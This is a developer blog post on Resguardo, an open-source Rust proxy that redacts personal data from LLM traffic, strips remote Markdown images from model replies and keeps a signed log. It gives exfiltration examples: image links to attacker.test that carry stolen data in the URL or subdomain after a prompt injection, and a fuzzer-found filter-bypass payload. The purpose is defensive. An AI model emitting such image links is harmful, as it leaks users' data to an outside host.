What left, and who allowed it?

Every prompt an application sends to OpenAI or Anthropic leaves the company. Most of the time that is the whole point. Sometimes it also carries a customer’s ID number typed into a support chat, an API key someone pasted while asking for help, or whatever a prompt injection convinced an agent to read out of a file.

There are two questions about that traffic that I kept asking and nobody around me could answer: what actually left, and who allowed it? So I built something that answers them. It is called Resguardo, it is open source, and this post is about how it works and what I got wrong along the way.

What it is

Resguardo is a single Rust binary that sits between your applications and the model provider. Applications keep their official SDKs: you change the base URL and the API key, and nothing else. Every request is parsed, scanned and checked against a policy, and then one of three things happens:

  • Nothing sensitive in it: it is forwarded byte for byte, so prompt caching keeps working.
  • A Spanish ID, an IBAN, a card, a phone number or an email: it is redacted, and the provider gets Mi DNI es [REDACTED:es_id:1].
  • A provider key or a token: the request gets a 403 and nothing leaves.

Responses go through it too. If the model answers with a Markdown image that points somewhere else, the image is removed before the application renders it. That is the classic trick after a prompt injection: the chat client loads https://attacker.test/?d=<your data> and nobody has to click anything.

And every one of those decisions is written to a signed log before the request goes out. That last part is the one I care about most.

Receipts

Resguardo is Spanish for both a safeguard and a receipt. Each decision is one line of JSON. This one is from a real run of the demo, trimmed:

{"seq": 3, "principal": "lab-app", "provider": "openai", "model": "gpt-4.1-mini",
 "decision": "redact", "findings": {"es_id": 1},
 "body_sha256": "59cc43804d…", "forwarded_sha256": "51208392f3…",
 "prev": "ef0e275ca9…", "hash": "f8afa01afa…", "sig": "t_Qpe46amD…"}

The log never contains the prompt, and it never contains the ID. It says that there was one Spanish ID, that it was redacted, and the hashes of what came in and of what went out.

Each line carries the hash of the line before it and an Ed25519 signature. Anyone with the public key can check the whole file without trusting me, the operator or a database. I took that same log and tampered with copies of it:

What I did to the log resguardo verify-log says
Nothing OK (6 entries)
Changed redact to allow on line 3 line 3: hash
Deleted lines 3 and 4 line 3: prev
Deleted the last two lines OK (4 entries)

The last row is a limit, not a bug. A shorter log is still a valid chain, and whoever holds the signing key can rewrite the whole thing consistently. Fixing that means anchoring the log somewhere the operator does not control, such as timestamps from a third party, and it is planned for the next version. Until then the README says to keep copies elsewhere. I would rather write that down than have someone else find it.

The receipt is flushed to disk before the request leaves. If it cannot be written, for example because the disk is full, the request gets a 503 and does not go out. “Fail closed” is easy to put on a slide. Doing it on every error path, including the boring ones, is most of the work.

Validating, not matching

A lot of personal data filtering is shape matching: eight digits and a letter, so it must be a DNI. In a support chat that also flags half of the order numbers. Spanish IDs have a check letter (the number modulo 23 picks a letter from a fixed table), IBANs have a modulo 97 check, and cards have Luhn. Resguardo only reports one when its check passes, and it also looks for them when they are hidden in Base64, written with full-width digits or broken up with zero-width characters.

To keep myself honest I generated a corpus of 406 synthetic Spanish texts. 306 of them look sensitive and are not: invoice numbers, postcodes, commit hashes, UUIDs, IDs with the wrong check letter. The repo publishes the false positive rate per class. The worst is phone numbers, at 2.9 %, and every single one of those is an ISBN: Spanish ISBNs start with 84, and 84 followed by seven digits reads as a phone number. Two ISBNs also passed Luhn and were reported as cards, because about one in ten 13-digit numbers does. I left them in the published numbers instead of tuning the corpus until they went away.

The fuzzer was right more often than I was

Removing images from Markdown sounds like a job for a regex. It is not, mostly because responses arrive as a stream. An image can be split across two events, ![x](https://atta in one and cker.test/?d=…) in the next. The filter has to hold back anything that might turn into an image, but not forever, and it has to give the same output wherever the text is split.

I wrote it, tested it, and then pointed cargo-fuzz at it with a simple property: split the text at a random point, and check that no complete remote image survives, using a second, much dumber detector. It found seven real bugs, four of them security bugs. My favourite:

![ ][](https://attacker.test/)(https://attacker.test/x.png)

![ ] is not an image here, because another [ follows it. The filter correctly removes the empty link in the middle, and now ![ ] is followed by (https://attacker.test/x.png). The filter had built an image out of the pieces of what it removed. The fix was to escape a ( that lands right after a bracket the filter wrote itself.

Two other times the fuzzer failed and the mistake was in my property, not in the code. That counts as work too.

A gap I found while explaining it

While I was preparing an explanation of the receipts for some friends, I went to show the log entry for the response whose image had been removed. It said "outcome": "completed", exactly like any other response. The protection had worked, but the log could not prove it.

The obvious fix is to log the URL that was removed, and it is wrong. In this attack the URL is the payload. If the model was tricked into writing https://12345678z.attacker.test/, logging the host copies the stolen ID into the one file that is supposed to prove it never left. So the receipt now records counts and nothing else:

{"seq": 6, "kind": "outcome", "outcome": "completed", "status": 200,
 "response_findings": {}, "response_controls": {"images_removed": 1}}

The fiddly part was counting each image once, because the filter re-reads text it held back and parses some destinations only to check them. The fuzzer now also checks that the counts do not depend on where the text is split, and that a text with nothing removed comes out unchanged, so no change can get past the receipt.

Why Rust, from a Java developer

I have written backend Java for more than eight years. For this I picked Rust because a security boundary is a bad place for surprises: one static binary, #![forbid(unsafe_code)] in every crate, and a regex engine that runs in linear time, so a crafted prompt cannot make the scanner backtrack for minutes. The price is that the regex crate has no look-around, so the boundaries around an ID are checked in code.

The other thing I learned to be paranoid about is parsers that disagree. A JSON body with two "content" keys is valid enough for most libraries, but some keep the first and others keep the last. If the scanner reads one and the provider reads the other, you have built a bypass. Resguardo rejects duplicate keys instead of guessing.

What it does not do

  • It does not detect prompt injection. It limits what an injection can send out.
  • It does not find names or other personal data without a fixed format. That needs a model, and v0.1 only uses deterministic detectors, on purpose, so every number in the repo can be reproduced.
  • It only protects traffic that goes through it. If the application can reach the internet directly, it is a speed bump. The repo has a Docker lab that puts the application on a network whose only way out is Resguardo, and runs the same attack with and without it. On its first run, on a GitHub Actions runner, the protected application could not even reach the attacker, and the unprotected one leaked all four ways.

Where it is

It is a v0.1 preview: 400 tests, fuzzed, and tested end to end with the official OpenAI and Anthropic Python SDKs against a mock provider. It has not run in production yet. On a standard GitHub Actions runner it adds about half a millisecond per request at p50, including signing the receipt and flushing it to disk. The p99 is around 4 ms, and that is the disk, not the scanning. My 2017 laptop needs about 10 ms for that same flush, which taught me more about its SSD than about Resguardo.

If you send LLM traffic from a company that has to answer to a data protection officer, or you let coding agents read your repositories, I would like to hear what is missing. The code is at github.com/christianivanov/resguardo, and lab/local-demo.sh runs the same attack with and without it on your machine, without an API key.

Happy coding!